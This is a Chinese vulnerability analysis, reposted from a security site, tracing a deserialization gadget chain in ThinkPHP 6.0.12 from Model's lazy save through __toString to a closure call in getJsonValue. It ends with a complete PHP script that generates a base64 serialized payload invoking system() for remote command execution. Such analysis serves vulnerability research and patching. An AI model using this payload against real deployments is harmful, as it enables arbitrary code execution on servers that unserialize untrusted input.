Thinkphp6.0.12LTS(目前最新版本);
PHP7.3.4。
composer create-project topthink/think tp6
漏洞起点不是__desturct
就是__wakeup
全局搜索下,起点在vendor\topthink\think-orm\src\Model.php
只要把this->lazySave
设为True
,就会调用了save
方法。
跟进save
方法,漏洞方法是updateData
,但需要绕过①且让②为True
,①调用isEmpty
方法。
public function save(array $data = [], string $sequence = null): bool { // 数据对象赋值 $this->setAttrs($data); if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { return false; } $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
跟进isEmpty
方法,只要$this->data
不为空就行。
$this->trigger
方法默认返回就不是false
,跟进updateData
方法。漏洞方法是checkAllowFields
默认就会触发。
protected function updateData(): bool { // 事件回调 if (false === $this->trigger('BeforeUpdate')) { return false; } $this->checkData(); // 获取有更新的数据 $data = $this->getChangedData(); if (empty($data)) { // 关联更新 if (!empty($this->relationWrite)) { $this->autoRelationUpdate(); } return true; } if ($this->autoWriteTimestamp && $this->updateTime) { // 自动写入更新时间 $data[$this->updateTime] = $this->autoWriteTimestamp(); $this->data[$this->updateTime] = $data[$this->updateTime]; } // 检查允许字段 $allowFields = $this->checkAllowFields();
跟进checkAllowFields
方法,漏洞方法是db
,默认也是会触发该方法,继续跟进。
protected function checkAllowFields(): array { // 检测字段 if (empty($this->field)) { if (!empty($this->schema)) { $this->field = array_keys(array_merge($this->schema, $this->jsonType)); } else { $query = $this->db();
跟进db
方法,存在$this->table . $this->suffix
字符串拼接,可以触发__toString
魔术方法,把$this->table
设为触发__toString
类即可。
public function db($scope = []): Query { /** @var Query $query */ $query = self::$db->connect($this->connection) ->name($this->name . $this->suffix) ->pk($this->pk); if (!empty($this->table)) { $query->table($this->table . $this->suffix); }
全局搜索__toString
方法,最后选择vendor\topthink\think-orm\src\model\concern\Conversion.php
类中的__toString
方法。
跟进__toString
方法,调用了toJson
方法。
跟进toJson
方法,调用了toArray
方法,然后以JSON格式返回。
跟进toArray
方法,漏洞方法是getAtrr
默认就会触发,只需把$data
设为数组就行。
public function toArray(): array { $item = []; $hasVisible = false; foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { [$relation, $name] = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { [$relation, $name] = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } } // 合并关联数据 $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key);
跟进getAttr
方法,漏洞方法是getValue
,但传入getValue
方法中的$value
是由getData
方法得到的。
public function getAttr(string $name) { try { $relation = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $relation = $this->isRelationAttr($name); $value = null; } return $this->getValue($name, $value, $relation);
跟进getData
方法,$this->data
可控,$fieldName
来自getRealFieldName
方法。
跟进getRealFieldName
方法,默认直接返回传入的参数。所以$fieldName
也可控,也就是传入getValue
的$value
参数可控。
跟进getValue
方法,在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure
进行判断。此次漏洞方法的getJsonValue
方法。但需要经过两个if判断,$this->withAttr
和$this->json
都可控,可顺利进入getJsonValue
方法。
protected function getValue(string $name, $value, $relation = false) { // 检测属性获取器 $fieldName = $this->getRealFieldName($name); if (array_key_exists($fieldName, $this->get)) { return $this->get[$fieldName]; } $method = 'get' . Str::studly($name) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); } if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value);
跟进getJsonValue
方法,触发漏洞的点在$closure($value[$key], $value)
只要令$this->jsonAssoc
为True
就行。
$closure
和$value
都可控。
protected function getJsonValue($name, $value) { if (is_null($value)) { return $value; } foreach ($this->withAttr[$name] as $key => $closure) { if ($this->jsonAssoc) { $value[$key] = $closure($value[$key], $value);
<?php namespace think{ abstract class Model{ private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false; function __construct($obj = ''){ $this->lazySave = True; $this->data = ['whoami' => ['dir']]; $this->exists = True; $this->table = $obj; $this->withAttr = ['whoami' => ['system']]; $this->json = ['whoami',['whoami']]; $this->jsonAssoc = True; } } } namespace think\model{ use think\Model; class Pivot extends Model{ } } namespace{ echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot())))); }
转 https://www.freebuf.com/vuls/321546.html